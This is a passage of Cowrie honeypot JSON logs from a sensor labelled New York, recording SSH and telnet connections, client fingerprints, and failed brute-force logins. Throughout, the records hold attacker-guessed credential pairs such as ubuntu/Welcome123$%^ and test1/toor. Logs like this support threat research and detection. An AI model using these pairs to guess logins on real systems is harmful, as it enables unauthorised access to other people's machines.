16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:50.785115Z","src_ip":"2.57.122.238","session":"37adf72b5f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:51.082461Z","src_ip":"2.57.122.238","session":"37adf72b5f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:52.184594Z","src_ip":"2.57.122.238","session":"37adf72b5f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":42850,"dst_ip":"159.203.135.109","dst_port":22,"session":"c275eb36f89c","protocol":"ssh","message":"New connection: 186.113.245.157:42850 (159.203.135.109:22) [session: c275eb36f89c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:59.234496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:59.239187Z","src_ip":"186.113.245.157","session":"c275eb36f89c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:59.336966Z","src_ip":"186.113.245.157","session":"c275eb36f89c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"12345","message":"login attempt [tester/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:48:59.731287Z","src_ip":"186.113.245.157","session":"c275eb36f89c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:00.825108Z","src_ip":"186.113.245.157","session":"c275eb36f89c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54364,"dst_ip":"10.17.0.5","dst_port":23,"session":"a101d7fd6750","protocol":"telnet","message":"New connection: 104.245.105.2:54364 (10.17.0.5:23) [session: a101d7fd6750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:05.751796Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48684,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f67c9ff232d","protocol":"telnet","message":"New connection: 104.245.105.2:48684 (10.17.0.5:23) [session: 3f67c9ff232d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:23.534596Z"}
{"eventid":"cowrie.session.closed","duration":31.876039028167725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:37.627706Z","src_ip":"104.245.105.2","session":"a101d7fd6750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":60082,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e26483bf6a8","protocol":"ssh","message":"New connection: 186.113.245.157:60082 (159.203.135.109:22) [session: 4e26483bf6a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:55.543872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:55.548608Z","src_ip":"186.113.245.157","session":"4e26483bf6a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:55.640449Z","src_ip":"186.113.245.157","session":"4e26483bf6a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Welcome123$%^","message":"login attempt [ubuntu/Welcome123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:56.029669Z","src_ip":"186.113.245.157","session":"4e26483bf6a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:57.122238Z","src_ip":"186.113.245.157","session":"4e26483bf6a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.00530385971069,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:49:57.539777Z","src_ip":"104.245.105.2","session":"3f67c9ff232d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60190,"dst_ip":"10.17.0.5","dst_port":23,"session":"800cc3540a03","protocol":"telnet","message":"New connection: 104.245.105.2:60190 (10.17.0.5:23) [session: 800cc3540a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:50:29.852247Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":49078,"dst_ip":"159.203.135.109","dst_port":22,"session":"792984592f7e","protocol":"ssh","message":"New connection: 186.113.245.157:49078 (159.203.135.109:22) [session: 792984592f7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:50:53.003329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:50:53.007856Z","src_ip":"186.113.245.157","session":"792984592f7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:50:53.104339Z","src_ip":"186.113.245.157","session":"792984592f7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server1","password":"qwerty","message":"login attempt [server1/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:50:53.491674Z","src_ip":"186.113.245.157","session":"792984592f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:50:54.585114Z","src_ip":"186.113.245.157","session":"792984592f7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.899088859558105,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:00.751182Z","src_ip":"104.245.105.2","session":"800cc3540a03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39928,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d589e9b53d2","protocol":"telnet","message":"New connection: 104.245.105.2:39928 (10.17.0.5:23) [session: 8d589e9b53d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:01.263870Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":56266,"dst_ip":"10.17.0.5","dst_port":22,"session":"5411bdc9b879","protocol":"ssh","message":"New connection: 2.57.122.238:56266 (10.17.0.5:22) [session: 5411bdc9b879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:01.939219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:01.944561Z","src_ip":"2.57.122.238","session":"5411bdc9b879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:02.045805Z","src_ip":"2.57.122.238","session":"5411bdc9b879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:02.350979Z","src_ip":"2.57.122.238","session":"5411bdc9b879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:03.454512Z","src_ip":"2.57.122.238","session":"5411bdc9b879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37056,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dcb0a55f5e0","protocol":"telnet","message":"New connection: 104.245.105.2:37056 (10.17.0.5:23) [session: 7dcb0a55f5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:25.391390Z"}
{"eventid":"cowrie.session.closed","duration":31.687397956848145,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:32.951152Z","src_ip":"104.245.105.2","session":"8d589e9b53d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":57716,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8531806204f","protocol":"ssh","message":"New connection: 14.225.217.138:57716 (159.203.135.109:22) [session: d8531806204f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:34.199136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:34.203707Z","src_ip":"14.225.217.138","session":"d8531806204f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:34.471042Z","src_ip":"14.225.217.138","session":"d8531806204f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver1","message":"login attempt [csgoserver/csgoserver1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:35.572502Z","src_ip":"14.225.217.138","session":"d8531806204f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:36.842893Z","src_ip":"14.225.217.138","session":"d8531806204f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":48400,"dst_ip":"10.17.0.5","dst_port":23,"session":"e100a4e0ad40","protocol":"telnet","message":"New connection: 104.245.105.2:48400 (10.17.0.5:23) [session: e100a4e0ad40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:51.630918Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":38076,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef942f13c850","protocol":"ssh","message":"New connection: 186.113.245.157:38076 (159.203.135.109:22) [session: ef942f13c850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:52.646719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:52.655316Z","src_ip":"186.113.245.157","session":"ef942f13c850","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:52.746623Z","src_ip":"186.113.245.157","session":"ef942f13c850","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"toor","message":"login attempt [test1/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:53.138584Z","src_ip":"186.113.245.157","session":"ef942f13c850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:51:54.230241Z","src_ip":"186.113.245.157","session":"ef942f13c850","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.307018756866455,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:07.698274Z","src_ip":"104.245.105.2","session":"7dcb0a55f5e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.05649924278259,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:25.687288Z","src_ip":"104.245.105.2","session":"e100a4e0ad40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.217.138","src_port":48094,"dst_ip":"159.203.135.109","dst_port":22,"session":"eae045f1c67f","protocol":"ssh","message":"New connection: 14.225.217.138:48094 (159.203.135.109:22) [session: eae045f1c67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:36.434054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:36.438018Z","src_ip":"14.225.217.138","session":"eae045f1c67f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:36.686337Z","src_ip":"14.225.217.138","session":"eae045f1c67f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"apache123","message":"login attempt [ubuntu/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:52:37.713534Z","src_ip":"14.225.217.138","session":"eae045f1c67f","protocol":"ssh"}
